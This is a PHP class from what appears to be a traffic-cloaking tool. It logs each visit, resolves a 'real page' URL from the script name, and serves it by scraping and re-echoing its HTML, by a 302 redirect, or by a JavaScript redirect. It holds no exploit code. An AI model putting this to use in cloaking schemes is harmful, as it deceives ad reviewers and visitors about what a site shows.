<?php
require_once __DIR__ . '/../FpUrlHelper.php';

/**
 * 真实页输出（原 page_6.php）
 */
class FpPageRenderer
{
    /**
     * @param array $ctx 必须包含 logs 数组；可选 skip_log
     */
    public static function render(array $ctx)
    {
        $logs = $ctx['logs'];

        $my_url       = $_SERVER['PHP_SELF'];
        $my_file_name = substr($my_url, strrpos($my_url, '/') + 1);
        $cong_name    = str_replace('.php', '', $my_file_name);

        $resolved       = FpUrlHelper::resolve($cong_name, true);
        $fp_url         = $resolved['url'];
        $logs['fp_url'] = $fp_url;
        if (empty($ctx['skip_log'])) {
            write_log_db($logs);
        }

        $show_content = CLOAK_SHOW_CONTENT;
        if ($show_content == 'curl') {
            $html  = file_get_content_sstr($fp_url);
            $_html = caiji_lujing_buquan_fp($html, $fp_url, $_SERVER['HTTP_HOST']);
            echo $_html;
            exit;
        }
        if ($show_content == '302') {
            header('location:' . $fp_url);
            exit;
        }
        if ($show_content == 'js') {
            ?>
            <SCRIPT LANGUAGE="JavaScript">
            var time = 1;
            var timelong = 0;
            function diplaytime(){
                document.all.his.innerHTML = time -timelong ;
                timelong ++;
            }
            function redirect(){
                window.location.href="<?php echo $fp_url; ?>";
            }
            timer=setInterval('diplaytime()', 300);
            timer=setTimeout('redirect()',time * 300);
            </SCRIPT>
            <?php
        }
    }
}
